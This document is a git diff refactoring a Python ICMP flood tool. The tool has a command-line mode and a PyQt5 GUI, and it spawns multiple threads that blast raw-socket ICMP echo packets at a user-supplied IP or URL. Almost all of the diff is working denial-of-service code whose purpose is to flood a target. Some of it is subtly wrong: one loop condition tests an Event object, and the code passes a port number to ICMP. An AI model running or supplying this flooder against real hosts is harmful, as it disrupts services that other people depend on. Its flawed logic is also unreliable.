diff --git a/icmpflood.py b/icmpflood.py old mode 100644 new mode 100755 index 2ed003e..bbbbada --- a/icmpflood.py +++ b/icmpflood.py @@ -1,11 +1,9 @@ from argparse import ArgumentParser, Namespace -from logging import info +from logging import info, error +from socket import gethostbyname from sys import argv, exit -from PyQt5.QtWidgets import QApplication - -from icmpflood.gui.main_window import MainWindow -from icmpflood.flooder_runner import FlooderConsoleRunner +from icmpflood.flooder_runner import FlooderRunner def log_print(): @@ -19,28 +17,34 @@ def log_print(): def launch_gui(): - app = QApplication(argv) - window = MainWindow() - window.show() - exit(app.exec_()) + try: + from PyQt5.QtWidgets import QApplication + from icmpflood.gui.main_window import MainWindow + + app = QApplication(argv) + window = MainWindow() + window.show() + exit(app.exec_()) + + except ImportError as err: + error(msg=f'Failed while importing PyQt5 libraries: {err}') + error(msg=f'{argument_parser.usage}') def launch_cmd(cmd_options: Namespace): - FlooderConsoleRunner( + ip_address = gethostbyname(cmd_options.u) if cmd_options.u else cmd_options.i + FlooderRunner( threads_number=cmd_options.t, arguments={ - 'ip': cmd_options.i, + 'address': ip_address, 'port': cmd_options.p, - 'length': cmd_options.l, - 'frequency': cmd_options.f + 'delay': cmd_options.d, + 'length': cmd_options.l } - ).run() - + ).launch_flooder() -if __name__ == "__main__": - log_print() - argumentParser = ArgumentParser( +argument_parser = ArgumentParser( prog='ICMP-Flooder', usage='''python3 icmpflood.py { gui | cmd [options] } There are two modes to use this simple application: @@ -59,20 +63,22 @@ def launch_cmd(cmd_options: Namespace): allow_abbrev=True ) - subArgumentParser = argumentParser.add_subparsers(title='Script Modes', dest='mode', required=True) +sub_arg_parser = argument_parser.add_subparsers(title='Script Modes', dest='mode', required=True) +sub_arg_parser.add_parser('gui', help='Allows to run application with GUI interface.') +cmd_args = sub_arg_parser.add_parser('cmd', help='Run application into terminal (print -h for more details).') - subArgumentParser.add_parser('gui', help='Allows to run application with GUI interface.') - cmd = subArgumentParser.add_parser('cmd', help='Run application into terminal (print -h for more details).') +cmd_args.add_argument('-u', metavar='--url', help='Target url-address', required=False, type=str) +cmd_args.add_argument('-i', metavar='--ip', help='Target ip-address', required=False, type=str) +cmd_args.add_argument('-p', metavar='--port', help='Target port number (for ip-address)', + required=False, choices=range(0, 65536), default=80, type=int) - cmd.add_argument('-u', metavar='--url', help='Target url-address', required=False, type=str) - cmd.add_argument('-i', metavar='--ip', help='Target ip-address', required=True, type=str) - cmd.add_argument('-p', metavar='--port', help='Target address port number (for ip-address)', - required=False, choices=range(0, 65536), default=80, type=int) +cmd_args.add_argument('-t', metavar='--threads', help='Threads amount', required=False, default=1, type=int) +cmd_args.add_argument('-l', metavar='--length', help='Packet frame length', required=False, default=60, type=int) +cmd_args.add_argument('-d', metavar='--delay', help='Packet sending delay', required=False, default=0.1, type=float) - cmd.add_argument('-t', metavar='--threads', help='Threads amount', required=False, default=1, type=int) - cmd.add_argument('-l', metavar='--length', help='Packet frame length', required=False, default=60, type=int) - cmd.add_argument('-f', metavar='--frequents', help='Frequents of sending', required=False, default=0.1, type=float) - arguments = argumentParser.parse_args() +if __name__ == "__main__": + log_print() + arguments = argument_parser.parse_args() launch_gui() if arguments.mode == "gui" else launch_cmd(arguments) diff --git a/icmpflood/flooder.py b/icmpflood/flooder.py old mode 100644 new mode 100755 index a06a8c3..53fa05c --- a/icmpflood/flooder.py +++ b/icmpflood/flooder.py @@ -1,6 +1,8 @@ -from logging import warning, exception +from logging import error, warning from struct import pack, error as PackException +from threading import Event, Thread, ThreadError from time import time, sleep +from typing import Any, Dict from socket import ( socket, @@ -11,41 +13,34 @@ IPPROTO_ICMP ) -from PyQt5 import QtCore -from PyQt5.QtCore import QThread - -class Flooder(QThread): +class Flooder(Thread): """ This class extends PyQt5.QtCore.QThread class which provides ability to launch run( method ) into own thread. This class build ICMP packet (header + body) and send to specified address:port. """ - address: str - """The target ip-address to send ICMP-packets.""" - - port_number: int - """The target port number to send ICMP-packets.""" - - packet_length: int - """The length of ICMP-packet body to send.""" + def __init__(self, name: str, arguments: Dict[str, Any]): + """ + The main Flooder constructor. - sending_frequency: float - """The frequency of ICMP-packet sending which provides to set timeout.""" + Args: + name (str): The current thread name. + arguments (Dict[str, Any]): The dict with target info. - finish_signal = QtCore.pyqtSignal() + """ + Thread.__init__(self, None) - def __init__(self, address: str, port_number: int, packet_length: int, sending_frequency: float): - QThread.__init__(self, None) + self.address = arguments.get('address') + self.port_number = arguments.get('port') + self.packet_length = arguments.get('length') + self.sending_delay = arguments.get('delay') - self.address = address - self.port_number = port_number - self.packet_length = packet_length - self.sending_frequency = sending_frequency + self.name = name + self.shutdown_flag = Event() - @staticmethod - def _checksum(message) -> int: + def _checksum(self, message) -> int: """ This method returns the summary byte length of built ICMP-packet. @@ -89,22 +84,26 @@ def run(self): to stop all threads whose sending packets. """ + sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) try: - sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) inet_aton(self.address) - - while True: + while not self.shutdown_flag: packet = self._construct_packet() sock.sendto(packet, (self.address, self.port_number)) - sleep(self.sending_frequency) - sock.close() + sleep(self.sending_delay) except PackException as err: - exception(msg=f'Failed while trying pack msg: {err}') + error(msg=f'Failed while trying pack msg: {err}') + warning(msg=f'The {self.name} thread has not been interrupted!') + + except ThreadError as err: + error(msg=f'Has been interrupted closing event. Closing all available threads: {err}') + warning(msg=f'The {self.name} thread has been stopped!') - except (KeyboardInterrupt, SystemExit) as err: - warning(msg=f'Has been interrupted closing event. Closing all available threads: {err}') + except Exception as err: + error(msg=f'Unknown runtime error into {self.name} thread!: {err}') finally: - self.finish_signal.emit() + self.shutdown_flag.set() + sock.close() diff --git a/icmpflood/flooder_runner.py b/icmpflood/flooder_runner.py index 8634f75..1596160 100644 --- a/icmpflood/flooder_runner.py +++ b/icmpflood/flooder_runner.py @@ -1,56 +1,71 @@ -from typing import Dict, Any -from threading import Thread, Event +from datetime import datetime +from logging import error, warning +from typing import Any, Dict, List from icmpflood.flooder import Flooder -class FlooderConsoleRunner(Thread): +class FlooderRunner: """ This class extends threading.Thread class which provides ability to run any class with another thread. This class runs flooding with another threads. """ - threads_number: int - """The amount of threads to flood.""" - - arguments: Dict[str, Any] - """The arguments which user has been entered to flood.""" + JOIN_TIMEOUT = 5 def __init__(self, threads_number: int, arguments: Dict[str, Any]): - Thread.__init__(self) + """ + The FlooderRunner class constructor. + + Args: + threads_number (int): The amount of target threads. + arguments (Dict[str, Any]): The dict of arguments for Flooder class. + + """ - self.args = arguments + self.arguments = arguments self.threads_num = threads_number - self.all_threads = list() - self.flooder = Flooder( - address=self.args.get('ip'), - port_number=self.args.get('port'), - packet_length=self.args.get('length'), - sending_frequency=self.args.get('frequency') - ) + self._threads: List[Flooder] = [] - def run(self): + def _interrupt_threads(self): """ - This method runs with another thread to create ICMP-packet and send it - to specified target ip-address. + This method interrupts all running threads. """ + for thread in self._threads: + thread.shutdown_flag.set() + thread.join(FlooderRunner.JOIN_TIMEOUT) - interrupt_event = Event() + self._threads.clear() + def _launch_threads(self): + """ + This method initializing multiple threads by passed threads number option. + """ for thread_iter in range(0, self.threads_num): + thread = Flooder(name=f'thread-{thread_iter}', arguments=self.arguments) + self._threads.append(thread) + thread.start() + + def launch_flooder(self): + """ + There is main method which runs with another thread to create ICMP-packet and send it + to specified target ip-address. + """ - thread = Thread( - daemon=True, - target=self.flooder.run, - name=f'flooding-cmd-thread-{thread_iter}', - args=( - self.args.get('ip'), - self.args.get('port'), - self.args.get('length'), - self.args.get('frequency'), - ) - ) + try: + start_time = datetime.now() + self._launch_threads() + while True: + curr_time = datetime.now() - start_time + print('Packets sending duration: {}'.format(curr_time), end='\r') - thread.start() - interrupt_event.wait() + except KeyboardInterrupt: + warning(msg='\nHas been triggered keyboard interruption!') + warning(msg='Terminating all running threads...') + + except Exception as err: + error(msg=f'Has been caught unknown runtime error: {err}') + + finally: + self._interrupt_threads() diff --git a/icmpflood/gui/flooding_window.py b/icmpflood/gui/flooding_window.py deleted file mode 100644 index 1c42368..0000000 --- a/icmpflood/gui/flooding_window.py +++ /dev/null @@ -1,110 +0,0 @@ -from typing import Dict, Any - -from PyQt5 import QtCore -from PyQt5.QtCore import QThread, QObject -from PyQt5.QtWidgets import ( - QLabel, - QWidget, - QGridLayout, - QPushButton -) - -from icmpflood.flooder import Flooder - - -class FloodingWindow(QWidget): - """ - This class extends PyQt5.QtWidgets.QWidget class which provides ability to build - and show GUI window. This class build window which contains information about - running flooding process. - """ - - args: Dict[str, Any] - """The arguments which user has been entered to flood.""" - - parent: QObject - """The parent object (default = None).""" - - def __init__(self, args: Dict[str, Any], parent=None): - QWidget.__init__(self, parent) - - self.all_threads = list() - - self.address = args.get('ip') - self.port = args.get('port') - self.length = args.get('length') - self.frequency = args.get('frequency') - self.num_threads = args.get('threads') - - self.setLayout(self._buildGUI()) - self.setWindowModality(QtCore.Qt.ApplicationModal) - - def _buildGUI(self) -> QGridLayout: - """ - This method creates, configures and returns QGridLayout object with - replaced into GUI elements. - - Returns: - QGridLayout object. - """ - - self.setWindowTitle('Flooding') - - labelAddress = QLabel('Sending...', self) - - buttonClose = QPushButton('Close', self) - buttonClose.clicked.connect(self.__close__all_threads) - - gridLayout = QGridLayout() - gridLayout.setSpacing(1) - - gridLayout.addWidget(labelAddress, 1, 0) - gridLayout.addWidget(buttonClose, 2, 0) - - return gridLayout - - def show_window(self) -> None: - """ - This method provides ability to show initialized GUI window - from another class which is invoked this method. - """ - - self.__sendTo() - self.show() - - def __close__all_threads(self) -> None: - """ - This method just terminates all running threads. - """ - - [self.thread.terminate() for self.thread in self.all_threads] - self.close() - - def __sendTo(self) -> None: - """ - There is wrapper method to code simplistic. - """ - - [self.__build_flooder_thread() for _ in range(0, self.num_threads)] - - def __build_flooder_thread(self) -> None: - """ - This method just run flooding into another thread. - """ - - self.thread = QThread() - self.flooder = Flooder( - address=self.address, - port_number=self.port, - packet_length=self.length, - sending_frequency=self.frequency - ) - - self.flooder.moveToThread(self.thread) - self.thread.started.connect(self.flooder.run) - self.flooder.finished.connect(self.thread.quit) - self.flooder.finish_signal.connect( - self.__close__all_threads, QtCore.Qt.QueuedConnection) - - self.all_threads.append(self.thread) - self.thread.start() diff --git a/icmpflood/gui/flooding_worker.py b/icmpflood/gui/flooding_worker.py new file mode 100644 index 0000000..98e649d --- /dev/null +++ b/icmpflood/gui/flooding_worker.py @@ -0,0 +1,119 @@ +from logging import error, warning +from struct import pack, error as PackException +from threading import ThreadError +from time import time, sleep +from typing import Any, Dict + +from socket import ( + socket, + htons, + inet_aton, + AF_INET, + SOCK_RAW, + IPPROTO_ICMP +) + +from PyQt5.QtCore import QThread + + +class FloodingWorker(QThread): + """ + This class extends PyQt5.QtWidgets.QWidget class which provides ability to build + and show GUI window. This class build window which contains information about + running flooding process. + """ + + def __init__(self, name: str, arguments: Dict[str, Any]): + """ + The main Flooder constructor. + + Args: + name (str): The current thread name. + arguments (Dict[str, Any]): The dict with target info. + + """ + + QThread.__init__(self) + + self.address = arguments.get('address') + self.port_number = arguments.get('port') + self.packet_length = arguments.get('length') + self.sending_delay = arguments.get('delay') + + self.name = name + self.shutdown_flag = False + + def interrupt_worker(self): + """ + This method interrupts current thread object. + """ + self.shutdown_flag = True + + def run(self): + """ + This method runs with another thread to create ICMP-packet and send it + to specified target ip-address. + + Raise: + PackException: throws while invoke pack() method failed. + KeyboardInterrupt: throws while user send SIGKILL or SIGINT signal + to stop all threads whose sending packets. + + """ + + sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) + + try: + inet_aton(self.address) + while not self.shutdown_flag: + packet = self._construct_packet() + sock.sendto(packet, (self.address, self.port_number)) + sleep(self.sending_delay) + + except PackException as err: + error(msg=f'Failed while trying pack msg: {err}') + warning(msg=f'The {self.name} thread has not been interrupted!') + + except ThreadError as err: + error(msg=f'Has been interrupted closing event. Closing all available threads: {err}') + warning(msg=f'The {self.name} thread has been stopped!') + + except Exception as err: + error(msg=f'Unknown runtime error into {self.name} thread!: {err}') + + finally: + sock.close() + self.terminate() + + def _checksum(self, message) -> int: + """ + This method returns the summary byte length of built ICMP-packet. + + Args: + message (bytes): The byte array of ICMP-packet (header + body). + + Returns: + int: The summary byte length. + + """ + + summary = 0 + for index in range(0, len(message), 2): + w = message[index] + (message[index + 1] << 8) + summary = ((summary + w) & 0xffff) + ((summary + w) >> 16) + return htons(~summary & 0xffff) + + def _construct_packet(self) -> bytes: + """ + This method returns bytes of IMCP-packet (header + body). + + Returns: + bytes: The summary bytes of ICMP-packet. + + """ + + header = pack("bbHHh", 8, 0, 0, 1, 1) + data_fmt = (self.packet_length - 50) * 'Q' + data = pack("d", time()) + data_fmt.encode('ascii') + header = pack("bbHHh", 8, 0, htons(self._checksum(header + data)), 1, 1) + return header + data diff --git a/icmpflood/gui/main_window.py b/icmpflood/gui/main_window.py index dd57cc0..9c00ab4 100644 --- a/icmpflood/gui/main_window.py +++ b/icmpflood/gui/main_window.py @@ -1,4 +1,5 @@ -from PyQt5.QtCore import QObject +from typing import Any, Dict, Tuple + from PyQt5.QtWidgets import ( QLabel, QGridLayout, @@ -7,7 +8,7 @@ QLineEdit ) -from icmpflood.gui.flooding_window import FloodingWindow +from icmpflood.gui.flooding_worker import FloodingWorker class MainWindow(QWidget): @@ -17,18 +18,22 @@ class MainWindow(QWidget): unnecessary data to run flooding. """ - parent: QObject - """The parent object (default=None).""" - def __init__(self, parent=None): + """ + There is MainWindow class constructor + + Args: + parent (QObject): the parent QObject. + + """ QWidget.__init__(self, parent) - self.all_threads = list() + self.all_threads = [] - self.setLayout(self._buildGUI()) + self.setLayout(self._build_gui()) self.setGeometry(600, 470, 600, 400) - def _buildGUI(self) -> QGridLayout: + def _build_gui(self) -> QGridLayout: """ This method creates, configures and returns QGridLayout object with replaced into GUI elements. @@ -39,70 +44,104 @@ def _buildGUI(self) -> QGridLayout: self.setWindowTitle('ICMP Packet') - labelAddress = QLabel('IP-address: ', self) - labelPortNum = QLabel('Port number: ', self) - labelLength = QLabel('Packet length: ', self) - labelFrequency = QLabel('Frequency: ', self) - labelThreads = QLabel('Threads: ', self) + self.statistic_label = QLabel("Setting up flooding data and press Start!", self) + + self.address_line_edit = QLineEdit(self) + self.port_line_edit = QLineEdit(self) + self.length_line_edit = QLineEdit(self) + self.delay_line_edit = QLineEdit(self) + self.threads_line_edit = QLineEdit(self) + + self.address_line_edit.setPlaceholderText('127.0.0.1') + self.port_line_edit.setPlaceholderText('80') + self.length_line_edit.setPlaceholderText('32') + self.delay_line_edit.setPlaceholderText('0.1') + self.threads_line_edit.setPlaceholderText('1') - self.editAddress = QLineEdit(self) - self.exitPortNum = QLineEdit(self) - self.editLength = QLineEdit(self) - self.editFrequency = QLineEdit(self) - self.editThreads = QLineEdit(self) + self.send_button = QPushButton('Start flooding', self) + self.send_button.clicked.connect(self._send_packets_slot) - buttonSend = QPushButton('Send packet', self) - buttonSend.clicked.connect(self._sendTo) + self.close_button = QPushButton('Stop', self) + self.close_button.clicked.connect(self._interrupt_threads) - buttonClose = QPushButton('Close', self) - buttonClose.clicked.connect(self._close) + grid_layout = QGridLayout() + grid_layout.setSpacing(1) - gridLayout = QGridLayout() - gridLayout.setSpacing(1) + grid_layout.addWidget(QLabel('IP-address: ', self), 0, 0) + grid_layout.addWidget(QLabel('Port number: ', self), 1, 0) + grid_layout.addWidget(QLabel('Packet length: ', self), 2, 0) + grid_layout.addWidget(QLabel('Frequency: ', self), 3, 0) + grid_layout.addWidget(QLabel('Threads: ', self), 4, 0) - gridLayout.addWidget(labelAddress, 0, 0) - gridLayout.addWidget(labelPortNum, 1, 0) - gridLayout.addWidget(labelLength, 2, 0) - gridLayout.addWidget(labelFrequency, 3, 0) - gridLayout.addWidget(labelThreads, 4, 0) + grid_layout.addWidget(self.address_line_edit, 0, 1) + grid_layout.addWidget(self.port_line_edit, 1, 1) + grid_layout.addWidget(self.length_line_edit, 2, 1) + grid_layout.addWidget(self.delay_line_edit, 3, 1) + grid_layout.addWidget(self.threads_line_edit, 4, 1) - gridLayout.addWidget(self.editAddress, 0, 1) - gridLayout.addWidget(self.exitPortNum, 1, 1) - gridLayout.addWidget(self.editLength, 2, 1) - gridLayout.addWidget(self.editFrequency, 3, 1) - gridLayout.addWidget(self.editThreads, 4, 1) + grid_layout.addWidget(self.statistic_label, 5, 0, 1, 3) - gridLayout.addWidget(buttonSend, 5, 0, 1, 3) - gridLayout.addWidget(buttonClose, 6, 2, 1, 1) + grid_layout.addWidget(self.send_button, 6, 0, 1, 3) + grid_layout.addWidget(self.close_button, 7, 2, 1, 1) - return gridLayout + return grid_layout def _close(self): """ This method just close current QWidget object. """ + self._interrupt_threads() self.close() - def _sendTo(self): + def _interrupt_threads(self): """ - This method initializes the flooding window to run flooding. + This method interrupts all running threads. + """ + + for thread in self.all_threads: + thread.interrupt_worker() + thread.terminate() + + self.all_threads.clear() + self.send_button.setEnabled(True) + self.statistic_label.setText("Setting up flooding data and press Start!") + + def _extract_entered_data(self) -> Tuple[int, Dict[str, Any]]: + """ + This method extracts and formats all QLineEdits data. """ - address = str(self.editAddress.text()) - port_number = int(self.exitPortNum.text()) - num_threads = int(self.editThreads.text()) - packet_length = int(self.editLength.text()) - frequency = float(self.editFrequency.text()) - - self.flooding_window = FloodingWindow( - args={ - 'ip': address, - 'port': port_number, - 'length': packet_length, - 'frequency': frequency, - 'threads': num_threads + delay = self.delay_line_edit.text() + address = self.address_line_edit.text() + port = self.port_line_edit.text() + length = self.length_line_edit.text() + thread_nums = self.threads_line_edit.text() + + return ( + int(thread_nums) if thread_nums else 1, + { + 'address': address, + 'port': int(port) if port else 80, + 'length': int(length) if length else 32, + 'delay': float(delay) if delay else 0.5 } ) - self.flooding_window.show_window() + def _send_packets_slot(self): + """ + This method initializes the flooding window to run flooding. + """ + + thread_nums, arguments = self._extract_entered_data() + for thread_iter in range(0, thread_nums): + worker = FloodingWorker( + name=f'thread-{thread_iter}', + arguments=arguments + ) + + worker.start() + self.all_threads.append(worker) + + self.send_button.setEnabled(False) + self.statistic_label.setText("Flooding has been started!") diff --git a/pylintrc.cfg b/pylintrc.cfg index 20d3acb..bbd87b7 100644 --- a/pylintrc.cfg +++ b/pylintrc.cfg @@ -103,7 +103,9 @@ disable=invalid-name, unused-import, broad-except, anomalous-backslash-in-string, - missing-module-docstring + missing-module-docstring, + consider-using-f-string, + duplicate-code # Enable the message, report, category or checker with the given id(s). You can # either give multiple identifier separated by comma (,) or put this option diff --git a/requirements.txt b/requirements.txt index e3a43b5..e317700 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,3 @@ argparse~=1.4.0 pdoc3~=0.10.0 PyQt5~=5.15.6 -PyQt5-Qt5~=5.15.2 -PyQt5-sip~=12.9.0